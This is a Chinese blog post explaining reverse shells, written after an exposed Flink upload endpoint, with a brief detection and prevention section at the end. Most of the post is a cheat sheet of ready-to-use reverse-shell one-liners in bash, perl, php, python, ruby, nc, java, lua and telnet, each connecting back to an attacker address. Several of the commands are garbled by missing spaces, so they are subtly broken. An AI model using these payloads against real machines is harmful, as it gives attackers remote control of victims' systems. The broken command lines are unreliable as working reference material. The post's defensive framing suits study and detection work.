Shell反弹
背景
前段时间因为使用Flink默认配置,没有禁用通过web上传jar包提交作业的功能,同时服务器配有公网地址,也没有对相应的端口配置防火墙,导致任意用户可以通过Flink上传jar包执行任务,并伴有反弹shell获取shell权限的风险。在此总结一下反弹shell,加深理解。
反弹shell的作用
通常攻击者在自己的机器去连接目标机器(目标IP:目标机器端口),叫做正向连接。如远程桌面,web服务,ssh,telnet等等。然而在以下情况时,正向连接不大适用:
1. 某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2. 它的IP会动态改变,你不能持续控制。
3. 由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4. 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
反弹shell的本质
当目标机器主动连接攻击者机器时,要实现对远程机器的操控,其实就是两台机器的通信,本质上在目标机器上多了对通信信息的执行过程。在linux中有各种重定向的功能,目标机器通过设置对通信内容进行交互执行即完成shell反弹。如下示例:
攻击机器上执行:
nc -lvp 2333
受害机器上执行:
bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
bash -i 表示产生交互式的shell,/dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备,如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信。
>&表示将标准输出和错误输出都重定向至指定文件,0>&1表示标准输入重定向至标准输出。因此,受害机器上的标准输入将通过/dev/tcp/192.168.146.129/2333文件读取并执行,标准输出和错误输出将写入/dev/tcp/192.168.146.129/2333文件。完成了shell的反弹效果。
多种反弹shell命令
本机开启监听:
nc -lvnp 4444
目标机器开启反弹
bash版本:
bash-i >& /dev/tcp/10.0.0.1/4444 0>&1
perl版本:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
php版本:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby版本:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
python版本:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc版本:
nc -e /bin/sh10.0.0.1 1234
rm/tmp/f;mkfifo/tmp/f;cat/tmp/f|/bin/sh-i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999
java版本:
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
lua版本:
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
NC版本不使用-e参数:
mknod/tmp/backpipep
/bin/sh0</tmp/backpipe| nc x.x.x.x 4444 1>/tmp/backpipe
/bin/bash-i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1
mknodbackpipe p && telnet 173.214.173.151 8080 0backpipe
检测及预防
检测shell反弹的总体思路如下:
1. 及时发现Bash进程启动事件。
2. 检查Bash进程是否打开了终端设备,是否有主动对外连接。
总结
不管采用何种方式反弹shell都是受害机器主动连接攻击机器,采用socket进行通信并交互执行。受害机器需要配好防火墙,限制端口,防范攻击者植入反弹shell程序,当检测出漏洞无法确定时及时备份数据重装系统。
参考链接
https://xz.aliyun.com/t/2549
http://ijianbian.com/home/post/detail?id=6202977
https://4hou.win/wordpress/?p=25737